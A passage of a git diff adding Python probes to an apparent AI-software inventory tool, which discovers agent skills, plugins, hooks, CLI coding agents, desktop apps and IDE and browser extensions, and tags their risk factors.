manifest, folder, name, host, scope, plugin)) + return out + for logical in self._markdown_files(env, base): + name = self._command_name(base, logical) + out.append(self._document(env, logical, kind, name, host, scope, plugin)) + return out + + def _markdown_files(self, env: DiscoveryEnv, base: str) -> List[str]: + """Markdown one or two levels down; a directory is not itself a command.""" + found = [] + for logical, path in env.walk(base, max_depth=2): + try: + if path.is_file() and logical.endswith(".md"): + found.append(logical) + except OSError: + continue + return sorted(found) + + def _command_name(self, base: str, logical: str) -> str: + relative = logical[len(base):].strip("/") + return relative[:-3].replace("/", ":") if relative.endswith(".md") else relative + + def _skill(self, env, manifest, folder, name, host, scope, plugin) -> Observation: + meta, line_count, body = self._front_matter(env, manifest) + extra = {"scope": scope, "host_app": host, "line_count": line_count, + "description": meta.get("description"), "risk_factors": [], + "plugin": plugin} + helpers = self._helpers(env, folder) + if helpers: + # A skill is not only prose; it can carry code. + extra["risk_factors"].append("bundled_executable") + extra["helpers"] = helpers + hosts = self._network_hosts(body) + if hosts: + extra["risk_factors"].append("external_network") + extra["network_hosts"] = hosts + if meta.get("_malformed"): + self.error(env, manifest, "malformed front matter") + return Observation( + probe=self.name, channel="filesystem", kind="skill", + name=meta.get("name") or name, path=manifest, matched_on="skill:%s" % scope, + version=meta.get("version"), install_root=folder, install_method="agent_artifact", + owner=_owner(manifest, env), extra=extra, confidence=0.6, + ) + + def _helpers(self, env: DiscoveryEnv, folder: str) -> List[str]: + found = [] + for logical, path in env.walk(folder, max_depth=2): + if logical.endswith(("SKILL.md", ".md")): + continue + try: + if path.is_file(): + found.append(posixpath.basename(logical)) + except OSError: + continue + return sorted(found) + + def _document(self, env, logical, kind, name, host, scope, plugin) -> Observation: + meta, line_count, body = self._front_matter(env, logical) + extra = {"scope": scope, "host_app": host, "line_count": line_count, + "description": meta.get("description"), "risk_factors": [], "plugin": plugin} + if kind == "agent_definition": + tools = meta.get("tools") + extra["tools"] = tools + extra["model"] = meta.get("model") + if tools and ("*" in str(tools) or "all" in str(tools).lower()): + extra["risk_factors"].append("unrestricted_tools") + hosts = self._network_hosts(body) + if hosts: + extra["risk_factors"].append("external_network") + extra["network_hosts"] = hosts + return Observation( + probe=self.name, channel="filesystem", kind=kind, + name=meta.get("name") or name, path=logical, matched_on="%s:%s" % (kind, scope), + version=meta.get("version"), install_root=posixpath.dirname(logical), + install_method="agent_artifact", owner=_owner(logical, env), + extra=extra, confidence=0.6, + ) + + def _front_matter(self, env: DiscoveryEnv, logical: str) -> Tuple[Dict[str, Any], int, str]: + """Parse the YAML header. The body is measured, never captured.""" + result = env.read(logical, limit=MAX_BODY_BYTES) + if not result: + self.error(env, logical, result.error or "unreadable") + return {}, 0, "" + text = result.text + meta: Dict[str, Any] = {} + body = text + if text.startswith("---"): + end = text.find("\n---", 3) + if end == -1: + meta["_malformed"] = True + else: + for line in text[3:end].splitlines(): + if ":" in line: + key, _, value = line.partition(":") + meta[key.strip()] = value.strip().strip('"').strip("'") + body = text[end + 4:] + return meta, len(text.splitlines()), body + + def _network_hosts(self, body: str) -> List[str]: + return sorted({redact_url(match.group(3)) for match in NETWORK_CALL.finditer(body or "")}) + + # -- plugins ---------------------------------------------------------- + + def _plugins(self, env: DiscoveryEnv) -> List[Observation]: + base = env.expand("~/.claude/plugins") + if not env.is_dir(base): + return [] + out: List[Observation] = [] + for name in env.listdir(base): + folder = posixpath.join(base, name) + out.extend(self._plugin(env, folder, name)) + return out + + def _plugin(self, env: DiscoveryEnv, folder: str, name: str) -> List[Observation]: + manifest = None + for candidate in (".claude-plugin/plugin.json", "plugin.json"): + path = posixpath.join(folder, candidate) + if env.exists(path): + manifest = self.read_json(env, path) + manifest_path = path + break + if not isinstance(manifest, dict): + return [] + source = manifest.get("source") or manifest.get("marketplace") + factors = [] + corporate = env.policy.get("plugin_registries") or [] + if source and corporate and not any(str(source).startswith(entry) for entry in corporate): + factors.append("third_party_marketplace") + elif source and not corporate: + factors.append("third_party_marketplace") + out = [Observation( + probe=self.name, channel="filesystem", kind="plugin", + name=manifest.get("name", name), path=manifest_path, matched_on="plugin", + version=manifest.get("version"), install_root=folder, + install_method="agent_artifact", owner=_owner(folder, env), + extra={"author": manifest.get("author"), "source": source, + "risk_factors": factors, "scope": "plugin"}, + confidence=0.6, + )] + plugin_name = manifest.get("name", name) + # A plugin bundles everything an agent can be extended with. + out.extend(self._surface(env, posixpath.join(folder, "skills"), "skill", + "claude-code", "plugin", plugin_name)) + out.extend(self._surface(env, posixpath.join(folder, "agents"), "agent_definition", + "claude-code", "plugin", plugin_name)) + out.extend(self._surface(env, posixpath.join(folder, "commands"), "command", + "claude-code", "plugin", plugin_name)) + out.extend(self._hooks(env, posixpath.join(folder, "hooks", "hooks.json"), + "plugin", plugin_name)) + return out + + # -- hooks ------------------------------------------------------------ + + def _hooks(self, env: DiscoveryEnv, settings_path: str, scope: str, + plugin: Optional[str] = None) -> List[Observation]: + if not env.exists(settings_path): + return [] + data = self.read_json(env, settings_path) + if not isinstance(data, dict): + return [] + out: List[Observation] = [] + for event, groups in (data.get("hooks") or {}).items(): + for group in groups if isinstance(groups, list) else []: + matcher = group.get("matcher") if isinstance(group, dict) else None + for handler in (group.get("hooks") or []) if isinstance(group, dict) else []: + out.append(self._hook(env, settings_path, event, matcher, handler, + scope, plugin)) + return out + + def _hook(self, env, settings_path, event, matcher, handler, scope, plugin) -> Observation: + handler_type = handler.get("type", "command") + command = str(handler.get("command", "")) + # Every hook runs on an agent lifecycle event, which is what makes this + # the richest persistence surface an agent has. + factors = ["executes_on_every_turn"] + flags = [] + extra: Dict[str, Any] = {"event": event, "matcher": matcher, "handler": handler_type, + "scope": scope, "plugin": plugin, "risk_factors": factors, + "flags": flags} + if event not in KNOWN_HOOK_EVENTS: + extra["event_known"] = False + if handler_type == "http": + # An http hook sends agent activity off the machine by design. + factors.append("external_egress") + extra["destination"] = redact_url(str(handler.get("url", ""))) + elif handler_type == "agent": + factors.append("spawns_subagent") + elif handler_type == "mcp_tool": + extra["server"] = handler.get("server") or handler.get("tool") + elif command: + target = env.expand(command.split()[0]) if command else "" + extra["target"] = target + if target.startswith("/") and not env.exists(target): + flags.append("command_missing") + else: + body = env.read(target, limit=MAX_BODY_BYTES) + if body and OUTSIDE_WRITE.search(body.text): + factors.append("writes_outside_workspace") + return Observation( + probe=self.name, channel="config", kind="hook", + name="%s:%s" % (event, matcher or "*"), path=settings_path, + matched_on="hook:%s" % scope, install_root=posixpath.dirname(settings_path), + install_method="agent_artifact", owner=_owner(settings_path, env), + extra=extra, confidence=0.6, + ) + + # -- project scope ---------------------------------------------------- + + def _projects(self, env: DiscoveryEnv) -> List[Observation]: + out: List[Observation] = [] + for root in PROJECT_ROOTS: + base = env.expand(root) + for project in env.listdir(base): + folder = posixpath.join(base, project) + if not env.is_dir(folder): + continue + out.extend(self._project(env, folder)) + return out + + def _project(self, env: DiscoveryEnv, folder: str) -> List[Observation]: + out: List[Observation] = [] + out.extend(self._surface(env, posixpath.join(folder, ".claude/skills"), "skill", + "claude-code", "project")) + out.extend(self._surface(env, posixpath.join(folder, ".claude/commands"), "command", + "claude-code", "project")) + out.extend(self._surface(env, posixpath.join(folder, ".claude/agents"), + "agent_definition", "claude-code", "project")) + out.extend(self._hooks(env, posixpath.join(folder, ".claude/settings.json"), "project")) + out.extend(self._hooks(env, posixpath.join(folder, ".claude/settings.local.json"), + "project_local")) + out.extend(self._instructions(env, folder)) + out.extend(self._cursor_rules(env, folder)) + return out + + def _instructions(self, env: DiscoveryEnv, folder: str) -> List[Observation]: + out: List[Observation] = [] + candidates = [(name, posixpath.join(folder, name)) for name in INSTRUCTION_FILES] + candidates.append(("copilot-instructions.md", + posixpath.join(folder, ".github/copilot-instructions.md"))) + for name, logical in candidates: + if not env.exists(logical): + continue + fmt, host = INSTRUCTION_FILES[name] + out.append(self._instruction_file(env, logical, fmt, host, "project")) + return out + + def _instruction_file(self, env, logical, fmt, host, scope) -> Observation: + result = env.read(logical, limit=MAX_BODY_BYTES) + imports = _imports(result.text if result else "") + return Observation( + probe=self.name, channel="filesystem", kind="instructions", + name=posixpath.basename(logical), path=logical, matched_on="instructions:%s" % fmt, + install_root=posixpath.dirname(logical), install_method="agent_artifact", + owner=_owner(logical, env), + extra={"format": fmt, "host_app": host, "scope": scope, + "line_count": len((result.text if result else "").splitlines()), + "imports": imports, "risk_factors": []}, + confidence=0.55, + ) + + def _cursor_rules(self, env: DiscoveryEnv, folder: str) -> List[Observation]: + base = posixpath.join(folder, ".cursor/rules") + if not env.is_dir(base): + return [] + out: List[Observation] = [] + for name in env.listdir(base): + if not name.endswith((".mdc", ".md")): + continue + logical = posixpath.join(base, name) + meta, line_count, _ = self._front_matter(env, logical) + out.append(Observation( + probe=self.name, channel="filesystem", kind="rules", name=name, + path=logical, matched_on="instructions:cursor-rules", + install_root=base, install_method="agent_artifact", owner=_owner(logical, env), + extra={"format": "cursor-rules", "host_app": "cursor", "scope": "project", + "globs": meta.get("globs"), "line_count": line_count, + "risk_factors": []}, + confidence=0.55, + )) + return out + + +def _imports(text: str) -> List[str]: + """Instruction files import one another; the graph is part of the inventory.""" + return sorted({match.group(1) for match in + re.finditer(r"@([A-Za-z0-9_./-]+\.md)", text or "")}) + + +def _owner(path: str, env: DiscoveryEnv) -> str: + parts = [part for part in str(path).split("/") if part] + if len(parts) >= 2 and parts[0] in ("Users", "home"): + return parts[1] + return env.user diff --git a/Discovery/adr_discovery/probes/app.py b/Discovery/adr_discovery/probes/app.py new file mode 100644 index 0000000..9676e9c --- /dev/null +++ b/Discovery/adr_discovery/probes/app.py @@ -0,0 +1,218 @@ +"""Desktop AI applications, from whichever registry the platform maintains.""" + +import plistlib +import posixpath +from typing import Any, Dict, List, Optional + +from ..base_probe import BaseProbe, Observation +from ..env import DiscoveryEnv +from ..paths import install_root, owner_of + +MAC_APP_DIRS = ("/Applications", "~/Applications", "/opt/homebrew-cask/Caskroom") +LINUX_DESKTOP_DIRS = ("/usr/share/applications", "~/.local/share/applications") +APPIMAGE_DIRS = ("~/Downloads", "~/Applications", "~/.local/bin", "/opt") + + +class AppProbe(BaseProbe): + name = "app" + + def collect(self, env: DiscoveryEnv) -> List[Observation]: + if env.platform == "darwin": + return self._macos(env) + if env.platform == "windows": + return self._windows(env) + return self._linux(env) + + # -- macOS ------------------------------------------------------------ + + def _macos(self, env: DiscoveryEnv) -> List[Observation]: + out: List[Observation] = [] + for directory in MAC_APP_DIRS: + base = env.expand(directory) + for bundle, name in self._bundles(env, base): + info = self._plist(env, posixpath.join(bundle, "Contents/Info.plist")) + if info is None: + continue + out.extend(self._bundle_observations(env, bundle, name, info)) + return out + + def _bundles(self, env: DiscoveryEnv, base: str): + """Bundles directly in a directory, and one folder deeper. + + Managed fleets routinely group apps into folders, and a top-level-only + scan silently misses everything an admin tidied away. + """ + for name in env.listdir(base): + path = posixpath.join(base, name) + if name.endswith(".app"): + yield path, name + continue + if env.is_dir(path): + for child in env.listdir(path): + if child.endswith(".app"): + yield posixpath.join(path, child), child + + def _bundle_observations(self, env, bundle, name, info) -> List[Observation]: + bundle_id = str(info.get("CFBundleIdentifier", "")) + entry = self.catalog.match("bundle_ids", bundle_id) + realpath = env.realpath(bundle) + signature = self._signature(env, bundle) + base = Observation( + probe=self.name, channel="filesystem", kind=(entry or {}).get("kind", "app"), + name=(entry or {}).get("name") or name[:-4], path=bundle, + matched_on=("bundle_id:%s" % bundle_id) if entry else "app_bundle", + catalog_id=(entry or {}).get("id"), + version=info.get("CFBundleShortVersionString"), + vendor=(entry or {}).get("vendor"), realpath=realpath, + install_root=install_root(realpath), install_method="dmg", + signature=signature, owner=owner_of(bundle, env), + extra={"bundle_id": bundle_id, "executable": str(info.get("CFBundleExecutable", "")), + "risk_factors": self._risk_factors(env, entry), "version_source": "plist"}, + confidence=0.55, + ) + if entry and entry.get("ai_optional"): + base.extra["ai_enabled"] = self._is_ai_enabled(env, entry) + out = [base] + if signature.get("team_id"): + out.append(Observation( + probe=self.name, channel="code_signature", kind=base.kind, name=base.name, + path=bundle, matched_on="team_id:%s" % signature["team_id"], + catalog_id=base.catalog_id, realpath=realpath, install_root=base.install_root, + signature=signature, owner=base.owner, confidence=0.5, + )) + return out + + def _risk_factors(self, env: DiscoveryEnv, entry) -> List[str]: + """Factors the catalog attaches to a product, plus optional-AI gating. + + Some products are only an AI tool once AI is configured. Reporting a + launcher with the feature switched off as an AI tool is a phantom. + """ + if not entry: + return [] + if entry.get("ai_optional") and not any(env.exists(path) for path in entry.get("ai_config", [])): + return [] + return list(entry.get("risk_factors", [])) + + def _is_ai_enabled(self, env: DiscoveryEnv, entry) -> bool: + if not entry or not entry.get("ai_optional"): + return True + return any(env.exists(path) for path in entry.get("ai_config", [])) + + def _plist(self, env: DiscoveryEnv, logical: str) -> Optional[Dict[str, Any]]: + result = env.read(logical) + if not result: + return None + try: + # Binary plists are the norm on macOS, so this must be the raw bytes. + return plistlib.loads(result.data) + except Exception as exc: + self.error(env, logical, "malformed plist: %s" % exc) + return None + + def _signature(self, env: DiscoveryEnv, path: str) -> Dict[str, Any]: + out = env.run(["codesign", "--display", "--verbose", path], timeout=2.0) + if not out: + return {"signed": False} + team = None + for line in out.splitlines(): + if line.startswith("TeamIdentifier="): + team = line.split("=", 1)[1].strip() + return {"signed": bool(team) and team != "not set", "team_id": team} + + # -- Windows ---------------------------------------------------------- + + def _windows(self, env: DiscoveryEnv) -> List[Observation]: + out: List[Observation] = [] + for record in env.registry: + display = str(record.get("DisplayName", "")) + source = str(record.get("Source", "")).lower() + entry = self.catalog.match("registry_names", display) + location = str(record.get("InstallLocation", "")) + publisher = record.get("Publisher") + out.append(Observation( + probe=self.name, channel="package_registry", kind=(entry or {}).get("kind", "app"), + name=(entry or {}).get("name") or display, + path=location or str(record.get("key", "")), + matched_on="registry:%s" % display, catalog_id=(entry or {}).get("id"), + version=record.get("DisplayVersion"), + vendor=(entry or {}).get("vendor") or publisher, + realpath=env.realpath(location) if location else None, + install_root=install_root(location), + install_method="appx" if source == "appx" else "msi", + pkg_identity="registry:%s" % display, owner=env.user, + signature={"signed": bool(publisher), "publisher": publisher}, + extra={"risk_factors": self._risk_factors(env, entry), "version_source": "registry"}, + confidence=0.6, + )) + programs = env.expand("%LOCALAPPDATA%/Programs") + for name in env.listdir(programs): + entry = self.catalog.match("registry_names", name) + if not entry: + continue + path = posixpath.join(programs, name) + out.append(Observation( + probe=self.name, channel="filesystem", kind=entry.get("kind", "app"), + name=entry["name"], path=path, matched_on="programs_dir:%s" % name, + catalog_id=entry["id"], vendor=entry.get("vendor"), + realpath=env.realpath(path), install_root=install_root(path), + install_method="msi", owner=env.user, confidence=0.5, + )) + return out + + # -- Linux ------------------------------------------------------------ + + def _linux(self, env: DiscoveryEnv) -> List[Observation]: + out: List[Observation] = [] + for directory in LINUX_DESKTOP_DIRS: + base = env.expand(directory) + for name in env.listdir(base): + entry = self.catalog.match("desktop_ids", name) + if not entry: + continue + path = posixpath.join(base, name) + out.append(Observation( + probe=self.name, channel="filesystem", kind=entry.get("kind", "app"), + name=entry["name"], path=path, matched_on="desktop:%s" % name, + catalog_id=entry["id"], vendor=entry.get("vendor"), + realpath=env.realpath(path), install_root=install_root(path), + install_method="deb", owner=env.user, confidence=0.5, + )) + for base, method in (("/var/lib/flatpak/app", "flatpak"), ("/snap", "snap")): + for name in env.listdir(base): + entry = (self.catalog.match("desktop_ids", name + ".desktop") + or self.catalog.match("binaries", name)) + if not entry: + continue + path = posixpath.join(base, name) + out.append(Observation( + probe=self.name, channel="package_registry", kind=entry.get("kind", "app"), + name=entry["name"], path=path, matched_on="%s:%s" % (method, name), + catalog_id=entry["id"], vendor=entry.get("vendor"), realpath=path, + install_root=path, install_method=method, + pkg_identity="%s:%s" % (method, name), owner=env.user, confidence=0.6, + )) + out.extend(self._appimages(env)) + return out + + def _appimages(self, env: DiscoveryEnv) -> List[Observation]: + """AppImages have no package registry entry, so the filename is the only clue.""" + out: List[Observation] = [] + for directory in APPIMAGE_DIRS: + base = env.expand(directory) + for name in env.listdir(base): + if not name.lower().endswith(".appimage"): + continue + stem = name.split("-")[0].split(".")[0].lower() + entry = (self.catalog.match("binaries", stem) + or self.catalog.match("desktop_ids", stem + ".desktop")) + if not entry: + continue + path = posixpath.join(base, name) + out.append(Observation( + probe=self.name, channel="filesystem", kind=entry.get("kind", "app"), + name=entry["name"], path=path, matched_on="appimage:%s" % name, + catalog_id=entry["id"], vendor=entry.get("vendor"), realpath=path, + install_root=path, install_method="appimage", owner=env.user, confidence=0.5, + )) + return out diff --git a/Discovery/adr_discovery/probes/cli_agent.py b/Discovery/adr_discovery/probes/cli_agent.py new file mode 100644 index 0000000..8e6ea18 --- /dev/null +++ b/Discovery/adr_discovery/probes/cli_agent.py @@ -0,0 +1,257 @@ +"""CLI coding agents: the binaries, the packages that installed them, and the +state directories that prove somebody actually ran them.""" + +import hashlib +import os +import posixpath +from typing import Any, Dict, List, Optional + +from ..base_probe import BaseProbe, Observation +from ..env import DiscoveryEnv +from ..paths import install_method, install_root, owner_of + +#: Checked in addition to PATH, because a non-login scan context rarely has the +#: PATH the user actually types into. +EXTRA_BIN_DIRS = ("~/.local/bin", "/usr/local/bin", "/opt/homebrew/bin", "~/bin", "~/.npm-global/bin") + +#: /usr/lib/node_modules is the global root on Debian, Ubuntu and Fedora - +#: both the distro nodejs package and the NodeSource builds use it. Its absence +#: meant no npm package observation was ever raised on mainstream Linux, so the +#: version had to come from executing the binary and the pkg: merge key was +#: never available. Found by scanning a real container, not a fixture. +NODE_MODULE_ROOTS = ("/opt/homebrew/lib/node_modules", "/usr/local/lib/node_modules", + "/usr/lib/node_modules", + "~/.npm-global/lib/node_modules", "~/.local/share/pnpm/global/5/node_modules") + +#: Version managers keep a node install per version, each with its own global +#: package root. A fleet on nvm is invisible to a probe that checks the system +#: root alone. +VERSIONED_NODE_ROOTS = ("~/.nvm/versions/node", "~/.local/share/mise/installs/node", + "~/.asdf/installs/nodejs") + +#: Binaries that are dispatchers rather than the tool itself. Resolving a shim +#: leads to the version manager, not to the agent, so the real install has to be +#: recovered from the manager's own layout. +SHIM_BINARIES = frozenset({"mise", "asdf", "rtx"}) + +VERSION_MANAGER_INSTALL_ROOTS = ("~/.local/share/mise/installs", "~/.asdf/installs") + +#: Tier 2 escalation budget: hashing is only worth it for binaries in +#: non-standard locations, and only when the catalog carries hashes at all. +HASH_DIRS = ("~/bin", "~/.local/bin") +MAX_HASH_BYTES = 64_000_000 + + +class CliAgentProbe(BaseProbe): + name = "cli_agent" + + def collect(self, env: DiscoveryEnv) -> List[Observation]: + found: List[Observation] = [] + found.extend(self._from_bin_dirs(env)) + found.extend(self._from_node_modules(env)) + found.extend(self._from_state_dirs(env)) + found.extend(self._from_locations(env)) + return found + + def _from_locations(self, env: DiscoveryEnv) -> List[Observation]: + """Agents installed in a WSL distribution or a mounted image. + + A Windows-only scan reports a developer laptop as agent-free while the + whole toolchain lives one filesystem boundary away. + """ + out: List[Observation] = [] + for location in env.locations: + root = location.get("root", "").rstrip("/") + location_home = location.get("home", "/root") + for suffix in ("/usr/local/bin", "/usr/bin", location_home + "/.local/bin", + location_home + "/bin"): + directory = root + suffix + for name in env.listdir(directory): + entry = self.catalog.match("binaries", name) + if not entry: + continue + out.extend(self._binary_observations( + env, entry, posixpath.join(directory, name), "binary:%s" % name, + location="%s:%s" % (location.get("kind", "location"), + location.get("name", "unnamed")))) + return out + + # -- Stage 0/1: binaries on PATH and in conventional bin dirs --------- + + def _bin_dirs(self, env: DiscoveryEnv) -> List[str]: + directories = [d for d in env.env_vars.get("PATH", "").split(":") if d] + directories.extend(env.expand(d) for d in EXTRA_BIN_DIRS) + directories.extend(env.expand(d) for d in + ("~/go/bin", "~/.cargo/bin", "~/.local/share/mise/shims", + "~/.asdf/shims", "/usr/bin", "/bin")) + for user in [env.user] + list(env.extra_users): + directories.append("/Users/%s/.local/bin" % user) + directories.append("/home/%s/.local/bin" % user) + # Deduplicate by directory *identity*, not by spelling. /bin and + # /usr/bin are the same directory on any usrmerge system, and scanning + # both walks every binary on the box twice. First spelling wins, which + # keeps the conventional path (/usr/bin) ahead of the compatibility + # symlink (/bin) in the PATH order the caller gave us. + ordered, seen = [], set() + for directory in directories: + try: + identity = os.path.realpath(str(env.real(directory))) + except (OSError, ValueError): + identity = directory + if identity not in seen: + seen.add(identity) + ordered.append(directory) + return ordered + + def _from_bin_dirs(self, env: DiscoveryEnv) -> List[Observation]: + out: List[Observation] = [] + hash_dirs = {env.expand(d) for d in HASH_DIRS} + for directory in self._bin_dirs(env): + for name in env.listdir(directory): + logical = posixpath.join(directory, name) + entry = self.catalog.match("binaries", name) + matched_on = "binary:%s" % name + if entry is None and self.catalog.has_hashes() and directory in hash_dirs: + entry, matched_on = self._hash_match(env, logical) + if entry is None: + continue + out.extend(self._binary_observations(env, entry, logical, matched_on)) + return out + + def _hash_match(self, env: DiscoveryEnv, logical: str): + """Tier 2: identify a renamed copy by content, not by its filename.""" + result = env.read(logical, limit=MAX_HASH_BYTES) + if not result: + return None, "" + digest = hashlib.sha256(result.data).hexdigest() + entry = self.catalog.match("sha256", digest) + return entry, ("sha256:%s" % digest[:12] if entry else "") + + def _binary_observations(self, env, entry, logical, matched_on, location=None) -> List[Observation]: + realpath = self._resolve_shim(env, entry, env.realpath(logical)) + signature = self._signature(env, realpath) + base = Observation( + probe=self.name, channel="filesystem", kind=entry.get("kind", "cli_agent"), + name=entry["name"], path=logical, matched_on=matched_on, + catalog_id=entry["id"], version=self._version(env, logical), + vendor=entry.get("vendor"), realpath=realpath, install_root=install_root(realpath), + install_method=install_method(realpath, env.home), signature=signature, + owner=owner_of(logical, env), confidence=0.5, + extra=dict({"location": location} if location else {}, version_source="runtime"), + ) + out = [base] + if signature.get("team_id"): + out.append(Observation( + probe=self.name, channel="code_signature", kind=base.kind, name=base.name, + path=logical, matched_on="team_id:%s" % signature["team_id"], + catalog_id=entry["id"], realpath=realpath, install_root=base.install_root, + signature=signature, owner=base.owner, confidence=0.5, + )) + return out + + def _resolve_shim(self, env: DiscoveryEnv, entry, realpath: str) -> str: + """Follow a version-manager shim to the install it dispatches to.""" + if posixpath.basename(realpath) not in SHIM_BINARIES: + return realpath + for name in entry.get("binaries", []): + for root in VERSION_MANAGER_INSTALL_ROOTS: + base = posixpath.join(env.expand(root), name) + for version in env.listdir(base): + candidate = posixpath.join(base, version, "bin", name) + if env.exists(candidate): + return candidate + return realpath + + def _version(self, env: DiscoveryEnv, logical: str) -> Optional[str]: + out = env.run([logical, "--version"], timeout=2.0) + if not out: + return None + for token in out.strip().split(): + if token and token[0].isdigit(): + return token + return None + + def _signature(self, env: DiscoveryEnv, realpath: str) -> Dict[str, Any]: + out = env.run(["codesign", "--display", "--verbose", realpath], timeout=2.0) + if not out: + return {"signed": False} + team = None + for line in out.splitlines(): + if line.startswith("TeamIdentifier="): + team = line.split("=", 1)[1].strip() + return {"signed": bool(team) and team != "not set", "team_id": team} + + # -- Stage 1: package-manager provenance ------------------------------ + + def _node_roots(self, env: DiscoveryEnv) -> List[str]: + roots = list(NODE_MODULE_ROOTS) + for versioned in VERSIONED_NODE_ROOTS: + base = env.expand(versioned) + for version in env.listdir(base): + roots.append(posixpath.join(base, version, "lib/node_modules")) + return roots + + def _from_node_modules(self, env: DiscoveryEnv) -> List[Observation]: + out: List[Observation] = [] + for root in self._node_roots(env): + base = env.expand(root) + for name in env.listdir(base): + if name.startswith("@"): + scope = posixpath.join(base, name) + packages = [posixpath.join(scope, child) for child in env.listdir(scope)] + else: + packages = [posixpath.join(base, name)] + for package_dir in packages: + observation = self._npm_package(env, package_dir) + if observation is not None: + out.append(observation) + return out + + def _npm_package(self, env: DiscoveryEnv, package_dir: str) -> Optional[Observation]: + manifest = self.read_json(env, posixpath.join(package_dir, "package.json")) + if not isinstance(manifest, dict): + return None + entry = self.catalog.match("npm_packages", manifest.get("name", "")) + if not entry: + return None + bin_field = manifest.get("bin") or {} + relative = None + if isinstance(bin_field, dict) and bin_field: + relative = list(bin_field.values())[0] + elif isinstance(bin_field, str): + relative = bin_field + target = None + if relative: + target = env.realpath(posixpath.normpath(posixpath.join(package_dir, relative))) + return Observation( + probe=self.name, channel="package_registry", kind=entry.get("kind", "cli_agent"), + name=entry["name"], path=package_dir, matched_on="npm:%s" % manifest.get("name"), + catalog_id=entry["id"], version=manifest.get("version"), vendor=entry.get("vendor"), + realpath=target, install_root=install_root(package_dir), install_method="npm", + pkg_identity="npm:%s" % manifest.get("name"), owner=owner_of(package_dir, env), + extra={"version_source": "package"}, confidence=0.6, + ) + + # -- Stage 1: state directories, the strongest presence signal -------- + + def _from_state_dirs(self, env: DiscoveryEnv) -> List[Observation]: + out: List[Observation] = [] + for entry in self.catalog.entries: + for state in entry.get("state_dirs", []) or []: + for user in [env.user] + list(env.extra_users): + logical = self._user_path(env, state, user) + if not env.exists(logical): + continue + out.append(Observation( + probe=self.name, channel="filesystem", kind=entry.get("kind", "cli_agent"), + name=entry["name"], path=logical, matched_on="state_dir", + catalog_id=entry["id"], vendor=entry.get("vendor"), + identity_hint="attr:%s" % entry["id"], owner=user, confidence=0.45, + )) + return out + + def _user_path(self, env: DiscoveryEnv, template: str, user: str) -> str: + if not template.startswith("~"): + return template + home = "/home/%s" % user if env.platform == "linux" else "/Users/%s" % user + return template.replace("~", home, 1) diff --git a/Discovery/adr_discovery/probes/extension.py b/Discovery/adr_discovery/probes/extension.py new file mode 100644 index 0000000..befd6b9 --- /dev/null +++ b/Discovery/adr_discovery/probes/extension.py @@ -0,0 +1,179 @@ +"""IDE and browser extensions - where a large share of real shadow AI lives, +and the blind spot in most endpoint inventories.""" + +import posixpath +from typing import List + +from ..base_probe import BaseProbe, Observation +from ..env import DiscoveryEnv + +IDE_EXTENSION_DIRS = (("~/.vscode/extensions", "vscode"), ("~/.cursor/extensions", "cursor")) + +#: Chromium-family browser roots. Every one of them keeps extensions per +#: profile, and most shadow AI lives on a profile that is not Default. +CHROMIUM_ROOTS = { + "darwin": [ + ("chrome", "~/Library/Application Support/Google/Chrome"), + ("edge", "~/Library/Application Support/Microsoft Edge"), + ("brave", "~/Library/Application Support/BraveSoftware/Brave-Browser"), + ("arc", "~/Library/Application Support/Arc/User Data"), + ("vivaldi", "~/Library/Application Support/Vivaldi"), + ], + "windows": [ + ("chrome", "%LOCALAPPDATA%/Google/Chrome/User Data"), + ("edge", "%LOCALAPPDATA%/Microsoft/Edge/User Data"), + ("brave", "%LOCALAPPDATA%/BraveSoftware/Brave-Browser/User Data"), + ], + "linux": [ + ("chrome", "~/.config/google-chrome"), + ("chromium", "~/.config/chromium"), + ("brave", "~/.config/BraveSoftware/Brave-Browser"), + ], +} + +FIREFOX_ROOTS = { + "darwin": "~/Library/Application Support/Firefox/Profiles", + "windows": "%APPDATA%/Mozilla/Firefox/Profiles", + "linux": "~/.mozilla/firefox", +} + + +class ExtensionProbe(BaseProbe): + name = "extension" + + def collect(self, env: DiscoveryEnv) -> List[Observation]: + out = self._ide(env) + out.extend(self._browser(env)) + return out + + def _ide(self, env: DiscoveryEnv) -> List[Observation]: + out: List[Observation] = [] + for directory, host in IDE_EXTENSION_DIRS: + base = env.expand(directory) + for name in env.listdir(base): + folder = posixpath.join(base, name) + manifest = self.read_json(env, posixpath.join(folder, "package.json")) + if not isinstance(manifest, dict): + continue + extension_id = "%s.%s" % (manifest.get("publisher", ""), manifest.get("name", "")) + entry = self.catalog.match("extension_ids", extension_id) + out.append(Observation( + probe=self.name, channel="filesystem", kind="extension", + name=((entry or {}).get("name") or manifest.get("displayName") + or manifest.get("name") or name), + path=folder, matched_on="extension:%s" % extension_id, + catalog_id=(entry or {}).get("id"), version=manifest.get("version"), + vendor=(entry or {}).get("vendor") or manifest.get("publisher"), + realpath=env.realpath(folder), install_root=base, + install_method="ide_extension", + pkg_identity="ext:%s:%s" % (host, extension_id), owner=env.user, + extra={"host_app": host, "extension_id": extension_id, + "host_permissions": list(manifest.get("host_permissions") or [])}, + confidence=0.5, + )) + return out + + def _display_name(self, env: DiscoveryEnv, path: str, manifest, extension_id: str) -> str: + """Resolve a ``__MSG_name__`` placeholder through the extension's locale. + + Chrome extensions localize their own name, so the raw manifest value is + frequently a placeholder. Reporting it verbatim gives an operator a list + of ``__MSG_extName__`` rows, which is an inventory nobody can act on. + """ + name = str(manifest.get("name", extension_id)) + if not name.startswith("__MSG_"): + return name + key = name[6:-2] if name.endswith("__") else name[6:] + locale = str(manifest.get("default_locale") or "en") + for candidate in (locale, "en", "en_US"): + messages = self.read_json(env, posixpath.join(path, "_locales", candidate, "messages.json")) + if isinstance(messages, dict): + for message_key, record in messages.items(): + if message_key.lower() == key.lower() and isinstance(record, dict): + return str(record.get("message") or name) + return extension_id + + def _browser(self, env: DiscoveryEnv) -> List[Observation]: + out: List[Observation] = [] + for browser, root in CHROMIUM_ROOTS.get(env.platform, []): + base = env.expand(root) + if not env.is_dir(base): + continue + for profile in self._profiles(env, base): + out.extend(self._chromium_profile(env, browser, profile)) + out.extend(self._firefox(env)) + return out + + def _profiles(self, env: DiscoveryEnv, base: str) -> List[str]: + """Every profile directory, not just Default.""" + found = [] + for name in env.listdir(base): + if name == "Default" or name.startswith("Profile "): + candidate = posixpath.join(base, name, "Extensions") + if env.is_dir(candidate): + found.append(candidate) + direct = posixpath.join(base, "Extensions") + if env.is_dir(direct): + found.append(direct) + return found + + def _chromium_profile(self, env: DiscoveryEnv, browser: str, base: str) -> List[Observation]: + out: List[Observation] = [] + for extension_id in env.listdir(base): + folder = posixpath.join(base, extension_id) + for version in env.listdir(folder): + manifest = self.read_json(env, posixpath.join(folder, version, 